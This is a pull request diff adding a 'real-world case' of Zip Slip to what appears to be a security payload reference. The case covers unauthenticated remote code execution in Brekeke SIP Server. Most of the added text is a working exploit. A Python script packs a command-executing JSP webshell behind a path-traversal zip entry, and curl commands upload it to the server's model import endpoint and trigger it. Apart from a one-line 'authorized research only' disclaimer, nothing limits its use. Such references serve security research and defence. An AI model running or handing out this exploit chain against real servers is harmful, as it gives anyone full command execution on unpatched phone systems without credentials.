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Add Brekeke SIP Server Zip Slip real-world case #856

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Add Brekeke SIP Server Zip Slip real-world case #856

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33 changes: 33 additions & 0 deletions Zip Slip/README.md
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Expand Up @@ -42,7 +42,40 @@ When a vulnerable application extracts `malicious.zip`, the files are written to

For a list of affected libraries and projects, visit [snyk/zip-slip-vulnerability](https://github.com/snyk/zip-slip-vulnerability)

### Real-world case — Brekeke SIP Server (unauthenticated webshell RCE)

A self-developed `Zip.extractAll` method in the `ProvisioningModelImport` bean of Brekeke SIP Server (v3.19.1.8p1) performs no `..` filtering or canonical-path validation. A single unauthenticated POST uploading a crafted model archive writes a JSP webshell into the Tomcat webroot, and a single GET triggers it — remote code execution as the `tomcat` user, no credentials, factory default configuration (CVSS 9.8).

Build a malicious zip whose entry traverses out of the model extract root to the webroot:

```python
import zipfile
ws = ('<%@ page import="java.io.*" %>'
'<% String c = request.getParameter("c");'
' if(c!=null){ Process p = Runtime.getRuntime().exec(new String[]{"sh","-c",c});'
' BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));'
' String l; while((l=br.readLine())!=null) out.println(l); } %>')
with zipfile.ZipFile("webshell.zip", "w") as z:
# 7 layers ../ from etc/pv/models/<model>/ to webapps/sip/ (webroot)
z.writestr("../../../../../../../unauth_ws.jsp", ws)
```

Upload it unauthenticated via the model import endpoint, then trigger the webshell:

```bash
# Upload (Zip Slip write into webroot) — replace <target_base_url>
curl -F "operation=import" -F "model=poc" -F "overwrite=true" \
-F "modelfile=@webshell.zip;filename=poc.zip" \
"<target_base_url>/gate?bean=sipadmin.web.ProvisioningModelImport"

# Trigger
curl "<target_base_url>/unauth_ws.jsp?c=id"
```

> Bind test targets to `127.0.0.1`. Authorized security research only.

## References

* [Zip Slip - Snyk - June 5, 2018](https://web.archive.org/web/20260307012319/https://github.com/snyk/zip-slip-vulnerability)
* [Zip Slip Vulnerability - Snyk - April 15, 2018](https://web.archive.org/web/20180605125813/https://snyk.io/research/zip-slip-vulnerability)
* [Brekeke SIP Server Unauthenticated Zip Slip Webshell RCE - 0day Rubbish](https://0day-rubbish.com/blog/brekeke-sip-server-zipslip-rce)